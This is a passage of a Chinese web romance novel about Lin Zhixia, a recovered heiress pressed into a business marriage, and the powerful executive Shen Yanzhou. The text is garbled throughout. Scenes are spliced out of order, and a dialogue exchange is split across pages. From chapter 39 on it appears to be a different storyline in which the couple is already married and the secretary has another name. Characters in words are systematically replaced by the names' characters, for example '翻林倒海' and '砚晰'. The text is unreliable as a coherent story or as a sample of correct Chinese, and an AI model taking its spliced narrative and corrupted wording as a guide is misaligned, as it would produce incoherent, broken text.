乘着电梯去了顶层,高成带着林知夏走进了最里面的办公室,“林小姐,沈总就在里面。” 林知夏抿了一下唇,知道高成是不会进去了,便干脆直接推门走进去。 作为沈氏集团总裁的办公室,自然是整个公司最豪华的地方,面积大的看起来可以打高尔夫,几扇落地窗外阳光晃进来,洒了满地,旁边两侧有博古架,摆的都是看着就很贵的古董花瓶。 林知夏走过去的时候特意绕的远远的,生怕一不小心碰到了。 “沈总。” 林知夏小步走到办公桌前,把袋子放到了桌子上,“我来送衬衫。” 从林知夏踏进办公室的第一步,男人的目光就一寸不落的盯在她身上,等人走近,又淡淡的垂下眼。 领班走到她面前,神色颇为复杂的看了她一眼,“你跟我来。” 林洁在旁边瞪圆了一下眼睛,想问什么,可领班看起来很急,甚至直接拽着林知夏走了。 拐了个弯,不远处站着个穿着笔挺西装的男人,领班把林知夏带过去,弯了一下腰,“高先生,这就是林知夏。” 那人点了一下头,领班赶紧离开了。 林知夏皱了皱眉头,看着面前陌生的人,指了一下自己,“你找我?” 那位领班异常恭敬对待的高先生却冲她温和一笑。 “林小姐,不是我找您,是沈总找您,您跟我来吧。” 沈砚舟看见她了? 不过……就算看见她了,有什么必要见面吗? 见林知夏没动,那人又问了一句,“林小姐?” 林知夏抿了一下唇,“走吧。” 宴会厅顶层的包间里,推开门,男人背身站在落地窗前,听见声音才慢悠悠转过身来,沉沉的眸色落在林知夏身上……也落在,她那件廉价的低胸裙上。 身后门被关紧,清脆的声音让林知夏一个激灵,心里莫名的生出一丝退怯。 她下意识后退了一步,背抵在门板上,“有事吗?” 沈砚舟勾了一下唇角。 他把手中的高脚杯放在桌子上,转身懒散的靠在沙发上,抬手冲着林知夏勾了一下,“过来坐,站了那么久,不累吗?” 林知夏僵持两秒,才慢吞吞走过去,坐在沈砚舟一边的沙发上。 好吧,男人声音这么好听,她确实忍不住离近多听两句。 “名片呢?没联系我?” 低沉的嗓音听在耳朵里像是大提琴的和弦声,林知夏原本紧绷的心情都微微放松了一些。 “好像在我包里吧,你要收回去吗?”林知夏自动忽略了后面一句话。 饶是沈砚舟这个时候都有些忍不住多看林知夏两眼。 她是真不懂还是…… 就像今晚,他原本以为林知夏是故意出现在这里见他的。 这也不能怪沈砚舟自负,毕竟太多人觊觎他的权力与财富。 不过现在看来,似乎不是? 抬手揉了一下额角,沈砚舟轻轻舒了一口气。 “那天我确实有个紧急的会议,所以提前走了,后来助理也忘记给你送药了,回去后还好吗?有没有不舒服?” 男人吐字清晰,声音沉澈,像是泉坠石壁,打的她耳朵一个激灵。 林知夏耳朵有点发烫,呼吸都顿了一下,才忙忙摇头,“没有没有。” 恰在此时,敲门声响了两下,而后被推开。 是刚刚带她来的那个男人,提了两个纸袋放在桌子上,又冲着沈砚舟弯了个腰,才转身离开。 沈砚舟淡淡,“隔壁有更衣室,去换上吧。” 林知夏一愣,“什么?” “衣服和鞋子。” 沈砚舟静静的看着她,“侍应生的鞋子应该都是统一的吧,又是高跟鞋,会很磨脚,至于衣服——” 男人顿了一下,目光沉沉,朝她胸口看了一下。 其实他今天第一眼看到林知夏时是有些不悦的。 不管她是出于什么目的来这里,男人都不希望她穿着这样的衣服被人看见。 但沈砚舟没多说,只是顿了一下,又重复一遍,“去换一下吧。” 林知夏没动,“沈总,您有事吗?我一会儿还有工作。” 沈砚舟像是笑了一声,可眸色漆黑,又没有笑意。 “不用去工作,我会处理。” 林知夏眼睛瞪圆了,处理?处理什么?! 她急了,“我都站了这么久了,你怎么和领班说的?那我的工资呢?” 这下子沈砚舟是真的忍不住笑了。 “你工资多少?”第二天傍晚,林知夏直接去了老宅。 她当时刚刚被找回林家的时候,全家只有林老太太对她好,没有嫌弃她是土包子,今天是奶奶的生日,她怎么说也得回来。 老宅在郊区,不太好打车,等林知夏赶到的时候已经有些晚了,一进门的时候,就听见韩玫微冷的声音,“全家就等你了,真是好大的面子。” 林知夏皱了一下眉头,并没有理会韩玫的话,转身从包里拿了一个小盒子走到林老太太面前。 “奶奶,寿辰安乐,我知道您喜欢玉,前一段时间买了个镯子,您看喜不喜欢。” 林老太太笑眯眯的,“喜欢,当然喜欢。” 旁边的韩玫冷哼一声,“不还是用我给你的钱买的,天天不回家,横眉冷眼的,这么有本事,倒是自立门户啊。” “你给我的卡我没有刷过。”林知夏淡淡开口,“买镯子的钱是我自己出去做兼职挣得。” “兼职?!”一直沉默不语的林父终于开口,面色阴沉,“胡闹,家里用你去做兼职挣钱吗,被别人看见了要怎么在背后说我。” 林知夏垂了一下睫毛,遮掩了眼底的讽刺。 说到底,是为了他的面子。 “行了行了,说孩子干什么!”林老太太敲了一下桌子,转头对着林知夏又笑了笑,“小夏,奶奶不用你买东西,你要注意自己的身体啊,瞧瞧,又瘦了。” 林知夏脸上总算带了点真心实意的笑。 “我会照顾好自己的,奶奶放心吧。” 有林老太太坐镇,一顿饭倒是勉强吃的算是安静,吃了饭后,林知夏本来打算回学校的,但被林父勒令今晚必须回家住。 林知夏不想再和他们吵架,看了一眼时间又确实已经很晚了,回学校也不方便,便点点头答应了。 回程的路上,原本在闭幕养神的林父忽而开口。 “林知夏,你毕业工作怎么样了?” 林知夏淡淡,“还在投递简历。” 林父皱紧眉头,“早说过让你来家里的公司,你偏不干。” 林知夏垂了一下睫毛,没说话。 韩玫哼了一声,“不去也好,你学的也不是金融,去了也没用。” 林父适时的咳嗽两声,“你也大了,我们也尊重你的意见,但这两天你就先住在家里,明天有一个爸爸的朋友要来,他儿子刚刚留学回来,和你年纪差不多大,你们认识一下。” 话说至此,已经十分明显了。 林知夏讽刺一笑,“什么意思?要我去商业联姻吗?” 林父皱了一下眉,“话非要说的这么难听吗?还是说家里的安排,你就一句都不肯听?!” 林知夏静默两秒,忽而开口,“为什么不让林月去呢?” 韩玫顿时尖叫,“你在说什么?!” 林知夏低低笑了两声,抬眸看着韩玫,“我不才是你的亲生女儿吗?为什么遇到这种事,要把我推出去呢。” “妈妈,如果不爱我,为什么要把我找回来。” 韩玫脸色一阵红一阵白,唇瓣哆嗦半晌,一个字都没说出来。 “林知夏!”林父怒喝,“你怎么能这么和你妈妈说话!道歉。” “停车吧。” “你说什么?!” “我说停车,我不会道歉的,我没有错。” 车内一瞬间安静下来。 林父铁青着脸,“给她停车!” 在一片寂静的夜里,车子骤然停下几秒,又喷出尾气再次驶离。 林知夏由始至终脸上都没有什么表情,只有在低头看手机时皱了一下眉头。 打不到车。 啧。 对于林父说的这些话,林知夏其实早有预料,所以她不答应去林氏工作,不花林家的钱,就是不想受他们摆布。 这个地方其实已经有些偏僻,两侧连路灯都稀疏,林知夏打不到车,就沿着路边慢吞吞的直行。 夜晚的风有些凉,林知夏身上只穿了一件有些单沈的裙子,冷风一吹,她忍不住瑟缩了一下,打了个喷嚏。 这个时候她才开始回想自己刚刚是不是太冲动了。 还没等林知夏做好反思工作,耳边一阵车声,一辆加长林肯停在自己身旁。 下一瞬,车窗半摇,露出了男人冷峻的面容。 林知夏顿住脚步。 沈砚舟锐利的目光落在林知夏身上,从她有些苍白的唇瓣到被风吹起的裙摆,短短几秒钟,便已经将少女整个笼入眼下。 他终于淡淡开口,“这么巧,林小姐,需要我载你一程吗?” 林知夏很想有骨气的拒绝。 但显然,人有时候需要审时夺度。 思索不过一瞬,林知夏脸上飞快挂起笑容,“多谢沈总。” 沈砚舟轻笑了一声。 车子内位置很宽大,甚至有沙发有桌子有小冰箱,男人手边还有一个水晶烟灰缸,里面有刚掐灭的烟,但林知夏并没有闻到烟味,反而觉得车上有一股淡淡的沈荷味。 她只略微扫了一眼就收回目光,规规矩矩的坐在一侧,双手放在膝上,显得有些过分乖巧,“沈总,我回S大。” “这么晚了,学校还进得去么?” 林知夏迟疑了一下,“我可以……住学校对面的酒店。” “我在附近有一处公寓,林小姐如果不嫌弃,可以借住一晚。” 林知夏咬了一下唇,抬眼飞快的看了沈砚舟一眼,没想到男人正在盯着她看,在对上男人漆黑双眸的一瞬,林知夏心跳像漏了一拍,又垂下眼。 “太麻烦了,我——” “不麻烦。”沈砚舟淡淡开口,一锤定音,“就当我为上次不恰当的举措道歉。” 男人都这么说了,林知夏也不好一再拒绝。 她微微点了一下头,手不自觉的攥紧了一下裙摆。 就这么一点细小的动作,也分毫不落的落在男人眼中。 沈砚舟眼底闪过一丝笑意。 上次见面,还是个张牙舞爪的小猫,怎么现在又突然胆怯乖顺了起来。 林知夏此刻脑袋里有些乱糟糟的。 除了林家的事,还有关于沈砚舟的。 上次她就那么气冲冲的走了,事后也有些后怕,虽然男人表现给她的一直是温和的一面,但外界的传言中,沈家家主可是个睚眦必报,性格狠厉的主,得罪了他,怎么死的都不知道。 以至于林知夏今天表现的格外乖巧。 希望能稍微挽回一下上次的局面。 正如沈砚舟所说,公寓的位置很近,不过十几分钟就到了。 随着男人上了电梯,林知夏心里有些讶异,她以为沈砚舟这个地位,出入住的都是别墅。 似乎是看出少女心中所想,沈砚舟出言解释,“我不常来这里,只是今天偶然路过碰到你,就近过来。” 沈砚舟名下房产数不胜数,甚至之前还有媒体八卦统计,沈总至少在S市每一个区划都有数个房产。 林知夏点了一下头,又怕觉得太生硬,尴尬的应和,“真厉害。” 林知夏板着脸,“五百块。” 沈砚舟点点头,从旁边的包里拿出一张支票,随意写了一串数字,递到林知夏面前。 “补偿你的工资。” 林知夏瞥了一眼,被那一串的零惊了一瞬,而后脸色更加难看。 “沈总,我想你是误会了,那晚就是你情我愿的事,事后咱们一拍两散,可你这是什么意思?我又不是出来卖的。” 林知夏噼里啪啦一通话说完,霍的站起来,猛的起身就往外走。 高成尽职尽责的站在门口,门突然被打开,林知夏怒气冲冲的走出来,路过他还瞪了他一眼。 高成一脸的莫名其妙,随即又有些心惊胆战。 从来只有人被骂的狗血淋头从沈砚舟的房间里来,这还是第一次有人大刺啦啦直接冲出来。 他犹豫两秒,推门进去。 一进门,心里便咯噔一声,暗叫不妙。 沈砚舟脸色不太好看,甚至有几分阴沉。 一瞬间,高成已经想好了那个什么林知夏的下场。 可沈砚舟只是淡声吩咐,“前天晚上夜色的监控录像发到我邮箱里。” 高成赶紧点头,“是,沈总。” 他顿了一下,自作主张的多问了一句,“刚刚那位……” 话没说完,便被沈砚舟冷厉的目光吓的住了嘴。 沈砚舟瞥了一眼桌子上的支票,想起刚刚那一幕,竟有些气极反笑。 “算了,还是个小姑娘。” 高成心中惴惴,不敢再多言。 沈砚舟又重新把刚刚的酒杯端起来,微微抿了一口,他转过身,隔着落地窗,从这个角度正巧能看见迎宾的门口,一辆辆豪车驶过。 他淡声开口,“今天的宴怪没意思的,早点散了吧。” 第 38 章 第三十八章 晶城是最近声名鹊起的新兴科技公司,两个人能入职晶城还是蛮幸运的。 快中午的时候,林知夏去财务部送了报表票子,回来的时候晚了几分钟,食堂便几乎已经人满为患了。 “小林,这儿!” 角落里有个人招了一下手。 林洁眼尖看到了,连忙拽着林知夏挤了过去。 “张文哥,谢谢啦。” 坐在对面的男子穿着格子衬衫,戴着黑框眼镜,典型理工男的打扮,同样是S大毕业,但是比林洁和林知夏早两年,也算是她们的师哥。 林洁性格比林知夏活泼许多,刚坐那儿就和张文叽里呱啦的唠上了。 林知夏就安静坐在一边,拿着筷子漫不经心的拨动着米饭。 “干嘛呢你,查米粒呢?”林洁看到她的动作,警惕道,“你不是要背着我偷偷减肥吧。” 林知夏有些恹恹,“天热吧,没胃口。” 林洁凑过去,“真的是诶,你连糖醋小排都没夹。” “小林你要是不舒服,下午就请个假吧。”张文皱着眉,“看你脸色确实不太好。” 林知夏摇了摇头,“没事,我中午歇一会儿就好了。” 她才刚入职不过半个月,今天又是第一次被主管安排出了个外勤,下午她要和张文一起去一趟郊区的高尔夫球场给何总送文件,总不好这个时候请假。 林知夏轻轻舒了一口气,抬手微微捂着胸口的位置。这两天她确实身体乏力,她想着可能是晚上吹空调着凉了,应该没什么大事。 郊区的高尔夫球场一向是谈生意的热门地。 除了酒局饭桌,便是这里最受一些达官贵人的青睐。 不过这家高尔夫球场是私人承包的,平时不接待外客,来往都是需要邀请函的。 “你今天算是赚到了。”张文说,“平时这种地方,咱们哪里能进来,今天是因为何总手底下的人去了总部开会,咱们才有这个机会。” 林知夏头有些晕晕的,这里大太阳晒着,更是有点眼冒金星,闻言却还要勉强笑着,“是啊,我真幸运。” “你是不是还不舒服啊。”张文看了眼她有些苍白的脸色,“这样,我记得这后面有休息室,你先去歇着,文件我去给何总送过去。” “没事,张文哥,我跟你一起去吧。” “得了,你这小脸白的,快去歇一下吧。”张文摆摆手,“放心吧,何总那里我去说,没事儿。” 见状,林知夏也只好点点头。 现在她是真的有些后悔自己逞强过来。 目送着张文走远,林知夏揉了一下太阳穴,转身想去后面休息室歇一歇。 却没想到才走进去,就被人拦住了。 “抱歉,这里是vip休息室。”前台小姐上下看了林知夏两眼,“请问您是这里的会员吗?” 林知夏抿了一下唇。 她当然不是。“你怎么样了?” 林知夏从洗漱间出来,一张小脸煞白的没有一丝血色。 林洁担忧的开口,“是不是今天去球场中暑了?” 林知夏有气无力的倒在沙发上,“可能吧。” 她一整天胃里都翻林倒海的难受,可是刚刚干呕半天却什么也没吐出去。 “你要不要来吃点东西垫一垫?” 林知夏一抬头,看见桌子上摆着的林洁的外卖,是她点的麻辣烫,塑料盒子最顶上蒙着一层红油。 她捂了一下嘴,忙起身又往厕所跑。 林洁茫然的眨了眨眼睛。 至于么,怎么跟怀了似的。 还好第二天是周末,林知夏能稍微在家歇一歇。 隔了一夜,林知夏好像恢复一些了,只是脸色还显得有些苍白。 林洁今天约了朋友出去打麻将,原本想把林知夏也拽着的,奈何她身体条件实在不允许。 走之前林洁还再三确认,“你自己可以吧?” 林知夏无奈的笑了一下,“有什么的,你快走吧。” 等林洁走后,林知夏简单把屋子里收拾了一遍,刚想躺回床上补个觉,就接到了韩玫的电话。 电话里,韩玫的声音很冷。 “今天回家一趟。” “没时间。”林知夏语气淡淡。 “奶奶生病了,回不回来随你。”说完这句话,韩玫啪的挂了电话。 林知夏握着手机,刚刚还平淡的神色已经多了几分慌张。 林知夏一直都知道,她性格闷,不受家里所有人的待见,但无论怎么说,她才是流着林家的血,她和他们才是确确实实的一家人。 她没想到他们会做的这么绝。 林知夏被骗回去了。 奶奶根本没生病,在林知夏回去的一瞬,她就被关起来了。 林父和韩玫一个唱红脸,一个唱白脸。 一个说着家里近两年生意走下坡,最近更是出了决策失误,搞出了一个大窟窿,资金链断了,商业联姻也是迫不得已。 另一个说着林知夏多么冷漠不孝。 “你总说我们对你不好,你当年走丢了,你妈半条命都没了,天天以泪洗面。现在把你找回来了,是没给你钱还是没让你来公司上班,可是你都不要,你怪谁?” 听着这些话,林知夏只觉得快要吐出来了。 “我不是你们的亲生女儿吗?”她讽刺一笑,“为什么这种事情要把我推出去。” 林知夏转而看着韩玫,“你口口声声说有多爱我,你自己摸摸你的心,从我回来以后,你是怎么对我的!” 韩玫一噎。 话已经说到这个份上,好像连装都没有必要装下去了。 “我为什么这么对你?你看看你自己,哪里比得上林月!” 韩玫心里也很难受。 女儿走丢后,她昼夜难眠,还好这个时候领养了林月,稍微转移了她的注意力。 这么多年,韩玫几乎把对女儿的思念都寄托在林月身上。 她希望自己的女儿乖巧听话,知书达理,性格温柔。 可在找回林知夏之后,韩玫心底的构想彻底崩塌了。 林知夏性子又倔又冷,被她骂了也不会像林月那样搂着她撒娇,只会闷着头坐在一边,像个木头,除了学习好一点,其他的身无长物,而林月呢,弹琴跳舞,常年包揽各大奖项。 为什么! 为什么她的亲生女儿要是林知夏。 韩玫的目光一点点冷了下来,她看着林知夏,“这个婚,你结也得结,不结也得结!谁让你是林家的女儿!” 彻底谈崩了。 二楼角落的房间里,房门上了锁,林知夏孤零零的缩在床上。 她脑袋疼的快炸了。 怎么办,她该怎么办…… “那我坐在这里休息一会儿可以吗?”林知夏指了指不远处的几排椅子。 结果再一次被拒绝了。 在前台小姐有些冷漠的目光中,林知夏垂着眉眼准备转身出去。 却没想到在门口险些撞到一个人,还好扶住了门把手才勉强稳定身形。 脑袋更晕了,胃也是一阵翻林倒海,林知夏竭力克制着恶心感,却听到头顶略微熟悉的声音。 “林小姐?” 她抬头,逆着光眨了眨眼才看清面前的人,“高先生。” 林知夏下意识的往高成身侧看,却没有见到那个人。 高成目光微顿,在少女惨白的脸色中停顿两秒,又不动声色的收回目光,“这么巧。” 林知夏微微点了一下头。 两个人没再多说一句话,高成抬脚而走,很快擦肩而过。 从那天林知夏在餐厅说了一通“大逆不道”之言后,沈砚舟便彻底消失在林知夏的生活中。 不过想来也是,两个人地位本就天差地别,如果不是沈砚舟有意为之,他们本来就遇不到。 贵宾休息室内,门被敲响三下,随即高成推门进去。 “沈总,人已经打发走了。” 沈砚舟淡漠的点点头。林知夏睫毛抖了一下,并没有吭声。 她仰头喝了一口牛奶,温热的液体顺着喉咙流下,稍稍冲淡了身体的冷意。 沈砚舟眼底闪过一丝无奈。 真是小姑娘,涉世未深,不想说干脆就不开口。 “对面是浴室,里面的洗漱用品都是新的,会有人定期来更换。几个客房都可以住,都是干净的。” 林知夏放下杯子,小鸡啄米似的点头,唇边还留着一点奶渍。 沈砚舟感觉自己继续坐着反而会让人不自在,略微又嘱咐了两句就起身进了房间。 今天他也是突发奇想过来的,不成想在进来时被人瞧见了,消息传出去,几个几次约见不到他的合作商跑过来想趁机见他,不厌其烦。 高成窥着沈砚舟的脸色,斟酌着开口,“刚刚在外面碰到林小姐了,她看起来脸色不太好,像是中暑了,我——” 高成话音一顿,看到沈砚舟微冷的视线时,赶忙将剩下的话咽下去。 沈砚舟冷声,“看来你很喜欢关注不相干的人。” 高成额头上的冷汗都要滴落下来了。 沈砚舟懒散坐在沙发上,屈指微敲,一下一下,好像敲在高成的心上,声若擂鼓。 “今天安保的问题处理一下,不要有下次。” 高成心底松了口气,立刻应道,“我这就去处理。” 他正要转身离开,却听沈砚舟又吩咐两句。 高成心中一动,却不敢再自作聪明的多说,赶紧点头,“明白了,沈总。” 第 39 章 第三十九章 沈砚舟说话就像他做事一样直接,林知夏比旁人更深的了解这一点。他的直接有时候会让谈话更加有效率,但是有时候,比如此刻,就直接到伤人的地步。 我喜欢什么,我不喜欢什么。林知夏从懂事起就不再这样说话了,因为这样说话,妈妈就会说她幼稚,说她孩子气。 不想被认作小孩的林知夏于是学会了委婉,想要什么永远不会直接要,别人问她喜欢什么,她也只会说这样就好,我觉得这样就可以了。 她只在一件事上执着过,直接过。 她抬眸,目光落在身边的沈砚舟身上。沈砚舟和别人不一样,她还没有见过比沈砚舟更目标明确的人。 他似乎永远只朝前看,为了自己的目标奔跑,不管前进道路上有什么风景,他都不在意,看过也马上就忘记。 她亲眼见过有高中的男同学想找沈砚舟拉关系谈生意,但是沈砚舟看了对方一眼,扭头对着秘书王锐问:“我高中的同学录有这个名字吗?” 把人问得尴尬在原地,脸色一阵青一阵白。 所以,沈砚舟居然在高中同学会上一口叫出自己的名字,林知夏不免沾沾自喜。 她不是沈砚舟看过即忘的无聊风景,她的影子曾短暂地停留在沈砚舟的眼睛里,不至于模糊得连名字都忘掉。 但是……也仅此而已。 林知夏只是他的目标途中的一个固定NPC,他对她有印象,但是却不会为她多过留意,更遑论改变自己的原则。 她只需要在合适的时间刷新自己的剧情线就可以了。 哪有NPC跑出他为她设定好的剧情线,说她也有自己的想法呢? 不过,对于沈砚舟说他不喜欢猜别人的心思,林知夏一边有些难过,一边又觉得自己有点委屈。 她可从没有对沈砚舟和人一起用晚餐说过什么,甚至她还主动下车,让他能够准点到场。 她连表情和语气都极力控制,就怕自己流露出自己的私人情绪,让沈砚舟不喜。 但是林知夏有些困恼,她将脸对准自己这边的玻璃窗,有些苦恼地想,她是哪里没做到位,才让沈砚舟觉察出来呢。 想了一会儿,林知夏又苦笑,先前她还信誓旦旦要结束合约,现在又为了继续合约而努力。 林知夏有些自暴自弃,她什么时候能坚定一些呢。 汽车驶入靠近小区的街道,这边绿化做得好,路两边都是高大的树荫。入秋之后,天黑得快,路灯已经在两边亮起。 正好遇到一个红灯,汽车缓缓降速。一盏昏黄色的路灯从车顶投下,车厢内外反差的光线,林知夏一下子就从玻璃窗上看到自己的脸。 她这两年在沈家过着万事不沾手的豪门贵太太的日子,平时最大的出门活动便是做医美,她的脸看起来比上学那一会儿更好看。 像是被精心养护的富贵花,眉眼流转间,尽是动人的潋滟秋波。 她望着自己的影子出神,等汽车停到了往常的位置,还没有察觉。 “林知夏。”沈砚舟在另一边的车门唤她。 林知夏一愣神,连忙推开车门,要下车。却不想,她的高跟鞋踩在路面上,一时没有找好重心,人差点栽到地上去。 她“哎呀”地叫了一声,还好人知道抓牢车门。 那边沈砚舟听到她的尖叫,已经快步跑了过来,一看到她趴在车门上的姿势,再看她脚上的高跟鞋,他一怔,接着两步走过来,微微弯腰,就一把将她打横从车厢里抱出来。 “有没有扭到脚?”沈砚舟的手很稳,抱起林知夏的时候,似乎一点不费力气。 林知夏一下被他抱起来,两眼瞪圆,都顾不得脚踝痛不痛了,所有感官都在把她抱起来的沈砚舟身上。 一进屋,陈阿姨就看到了他们俩的状态,一时犹豫自己要不要装看不见,就听到沈砚舟对她道:“打电话给陈医生,叫他过来。” 原来是出事了。陈阿姨一边忙问哪里受伤了,一边赶紧找到手机给家庭医生打电话。 陈医生是随叫随到的,打完,陈阿姨看到沈砚舟把林知夏放到了客厅的沙发上,然后自己蹲下来,用一只手握住林知夏的脚踝,将她脚上的高跟鞋脱了下来。 陈阿姨明白过来,走过来说:“是不是扭到啦?我去拿医药箱,再拿点冰块过来。” 沈砚舟点头,陈阿姨忙去杂物间找医药箱,张阿姨听到动静也跟着出来帮忙。 林知夏看着一家人都忙得团团转,连忙说:“不是很痛,应该不是扭到。” 沈砚舟看她一眼,用手指碰她足弓,不属于自己体温的温热手指在她的脚面滑动,林知夏的耳根已经红透了,她觉得有些痒,忍不住想缩回右脚。 沈砚舟却轻轻按住,不让她动,“林知夏。”他说。 林知夏弓着腰,双手撑着沙发面上,正努力跟着他的视线去看自己的脚。 听到他叫自己,她抬起头看他。 沈砚舟正好这个时候抬头,两人四目相对,沈砚舟感到林知夏身上温软而甜腻的香气浸润过来,蔓延至他的鼻腔。 从他这个角度看过去,正好看到林知夏低下来的胸部,饱满而圆润的曲线看起来沉甸甸的,像是要从她的衬衫里挣脱出来。 沈砚舟收回了视线,但同时也忘了他刚刚说什么,对着林知夏疑惑的眼神,他说:“你别动,现在你手上有伤,脚踝也受了伤,过几天的晚宴,你就不用过去了。” 林知夏没想到沈砚舟在看到她受伤之后,结果是在想她不能出席晚宴的事。 再也没有比现在更让她感受到沈砚舟对她没有感觉的时候了。林知夏的目光从沈砚舟眉骨、鼻梁和微抿的嘴唇慢慢划过,又回到他那双仿佛从不含个人感情、冷漠的墨色眼睛上。 沈砚舟到底会喜欢上什么样的人呢,林知夏想,那个人到底该有多么完美,才能打动他的心? 最后林知夏点点头,表示自己听到了。 不答应又怎么样?沈砚舟已经表达过一次,他不喜欢别人影响他的决定。 被沈砚舟抱回来的喜悦情绪再次没有了,他总有这样的神奇能力,能够每次都让林知夏稍稍升起妄想,就无情地一盆冷水浇下来,让她不要多想。 最好笑的还是自己,林知夏想,无可救药地喜欢上沈砚舟的自己,是有多自虐? 陈医生一天之内,第二次到访,这一次他也本本分分地进行自己的本职工作。 林知夏坐直身体,想正式一点回答陈医生的问题,一旁的沈砚舟却一反常态地脱下来自己的外套,盖在林知夏的肩膀上。 林知夏疑惑地抬头看她,家里又不冷,他干嘛? 沈砚舟低头看她,轻声解释道:“你的脸都冻红了。” 是吗?林知夏抬手摸了摸自己的脸,她自己看不到,只能作罢,回答起陈医生的问题。 陈医生说她是轻微扭伤,只需要按摩一下,过两天就没事了。 林知夏也觉得自己没有真的扭伤,忙向陈医生道谢。 陈医生摆手,反正他出诊一次就多算一次费用,并不没有吃亏。 林知夏待陈医生离开,从沙发上站起身,想上楼去洗澡换衣服。 沈砚舟这套房子也建了室内电梯,方便搬运重物和平时犯懒不愿意上楼的情况。现在倒正好适合林知夏,不需要爬上爬下。 沈砚舟接了电话回来,就看到林知夏已经从沙发上站了起来,正面对着电梯的方向小幅度地挪动身体。 她的身上并没有盖着他的外套,沈砚舟在沙发的扶手上看到了他的衣服。 铁灰色的西装外套搭在上面,能看出林知夏是自己拿来下的,她好好地把衣服折了两下,放到了刚刚沈砚舟坐的位置。 “林知夏。”沈砚舟没管外套,叫了一声林知夏的名字。 林知夏回头,沈砚舟朝她走了过去,他有些不解地说:“陈医生不是说你最好不要用脚踝吗?” 他捉住林知夏的小臂,似乎又要抱她,林知夏吓一跳,忍不住向后退了一步,用手抵住沈砚舟的肩膀。 “不用了,”林知夏慌忙地解释,“陈医生也说了,我还好,”她朝沈砚舟笑了一下:“我还没有那么娇贵,自己可以的。” 不娇贵吗?沈砚舟不置可否,但是还是尊重林知夏的意见。 林知夏很少拒绝他,这次她少见的坚持自己的意见,似乎是在回应他那句“下次不想我做什么,可以直接和我说”。 他不由记起,林知夏一开始和他结婚的样子,并不像现在方方面面周到,时常就会犯错,但是只要他说一次,林知夏下次就不会再范。 这一次也一样,她每一次都会把他说过的话放进心里。 不怪她很快就学会做一个合格的“沈太太”,沈砚舟想到一开始他找到林知夏时,并没有期待过这样好的回报。 他选择林知夏的原因是想起在学校的时候,一起长大的好友兼同学张贺延给他发学校漂亮女生的照片,问他哪个最漂亮,他们男生这边要票选校花。 他没看,直接问他要选哪个。 张贺延笑嘻嘻地说当然是林知夏,她最漂亮。 因为好友提过她的名字,所以沈砚舟就有一个印象。后来在学校里,他看到真人,在张贺延一定要他给出点评的目光下,不得不说确实挺漂亮的。 不过,后来张贺延大学去了国外上学,林知夏和他一起上了一所大学。 张贺延这小子见一个爱一个,去了国外就喜欢上了别的漂亮妹子,后来他结婚给张贺延发喜帖,这小子居然都不记得自己把林知夏介绍给他的事。 既然不得不结婚堵上别人的嘴,漂亮是先决条件,不然别人很难相信他会闪婚,其次是要不惹人烦,这两个条件林知夏都完美达标。 不过,谁能想到,婚后林知夏给了他更多的惊喜。 他几乎不需要为家里的官司烦恼,夫人外交林知夏也处理得恰到好处,他可以一心一意地专注手上的案子。 “那我扶你吧。”沈砚舟退后一步说,他也只有对林知夏有这样的耐心。 林知夏闻言,表情还是很犹豫。不过,已经拒绝了沈砚舟一次,她已经用尽了她所有的强硬,在沈砚舟的注视下,她只能点点头,说:“好。” 沈砚舟把手托在她的手臂下,他的手心很热又有力,一下就让林知夏能够轻松地移动身体。 他们好不容易进了电梯,沈砚舟按了按键。室内电梯面积不大,又只有他们两个,逼仄的空间一下就好像把所有感官都放大。 沈砚舟掌心的热度透过衬衫覆在她的皮肤上,林知夏觉得不好意思,偏头去看电梯的箱壁。 电梯的箱壁平时就有人打扫维护,能很砚晰的映出里面的人影。 第 40 章 第四十章 电话拨了过去好一会儿都没有人接,林知夏不禁心微微提起,就在她差点胡思乱想之际,电话终于接通了。 “沈砚舟——”她才说出了沈砚舟的名字。 对面倏然一个声音打断她:“是……太太吗?” 咦?林知夏到了嗓子眼的话只能生生全吞了回去,半晌才道:“是我。” 对方道:“沈总现在不方便接电话,不好意思,请问您有什么事吗?如果方便的话,可以跟我说,只要沈总不忙了,我立刻向他转达您的消息。” 林知夏想问沈砚舟在忙什么,大概几点结束,会回家吗?但是话到了嘴边,又咽了下去。 太越界了。沈砚舟不喜欢林知夏干涉他的事,只好道:“没什么大事,就是看到今天雨下那么大,想问问他晚上回不回来吃饭?” 对方做不了沈砚舟的主,听完就道:“好的,等沈总忙完,我立刻转达太太您的意思。” 他顿了顿,又问:“请问太太还有其他事吗?” 已经是要挂电话的意思。 林知夏不想讨人嫌,便道:“没其他事了,麻烦你了。” 对方热情地打着官腔:“哪里的事,那么我就不打扰太太的时间了。” 明明是觉得她打扰他的时间,话说得好听。 林知夏收起手机,坐在沙发上发呆。 门外传来敲门声,林知夏高声道:“进来。” 是年纪较大的陈阿姨进门,她站在门口,束手轻声问林知夏:“太太,饭菜都做好了,您看什么时候上菜?” 林知夏哪里知道沈砚舟什么时间回家? 她道:“热着吧,你们收拾好厨房,就回自己的房间休息吧。有事我会喊你们的。” 陈阿姨连连点头道:“好,那我和小张说。” 林知夏点头,陈阿姨略一犹豫,问:“太太,这么大的雨,先生可能暂时回不来,要不要我们先上菜,给您用餐?您晚上还没有用餐呢。” 陈阿姨是好心,林知夏和家里的两个保姆相处一直不错,便笑道:“我暂时不饿,哎呀,我有手有脚,饿了的时候会热的,你们去休息吧,都忙了一天了。” 对于雇主,出格的话说一句已经够了,陈阿姨见林知夏坚持,便没再多嘴,重新退出房间,带上了门。 随着陈阿姨和张阿姨两个保姆都回到各自的房间,沈宅完全安静下来,只有打在窗户玻璃上的滴滴答答雨声,能让林知夏感觉到时间的流逝。 林知夏漫无目的地等待着男主人回归,期间被雨声弄得困意袭来,趴在沙发背上眯了一会儿。 直到楼下传来响动,林知夏才从睡意中惊醒,接着惊喜地起身,踩着舒适的兔子拖鞋打开房门,噔噔噔下楼。 “沈砚舟,你回来了!”林知夏走到楼梯最后一级台阶,就迫不及待地出声。 客厅灯光大作,就看玄关处站在两男一女。三人听到林知夏的声音,不约而同抬起头朝她看过来。 林知夏被他们一看,才发现自己的行为有些冒失,忙站直身体,打量起他们。 沈砚舟个子最高,站在最外面,他对看到林知夏挺意外的,表情明显有些诧异。他对上林知夏的目光,对着她点点头,“嗯,回来了。” 然后转头去看站在门口的一男一女:“这么大的雨,我看你们别回去了,就住在这儿的客房吧。” 是不容质疑的语气。 这一男一女,林知夏只认出男的。之前跟她通电话的就是他,他是沈砚舟的贴身秘书,姓王,叫王锐,比沈砚舟大了几岁,做事很干练。 当然应付起林知夏,也是游刃有余。 王锐今天扶着的穿着职业套裙的年轻女士,林知夏却是第一次见。 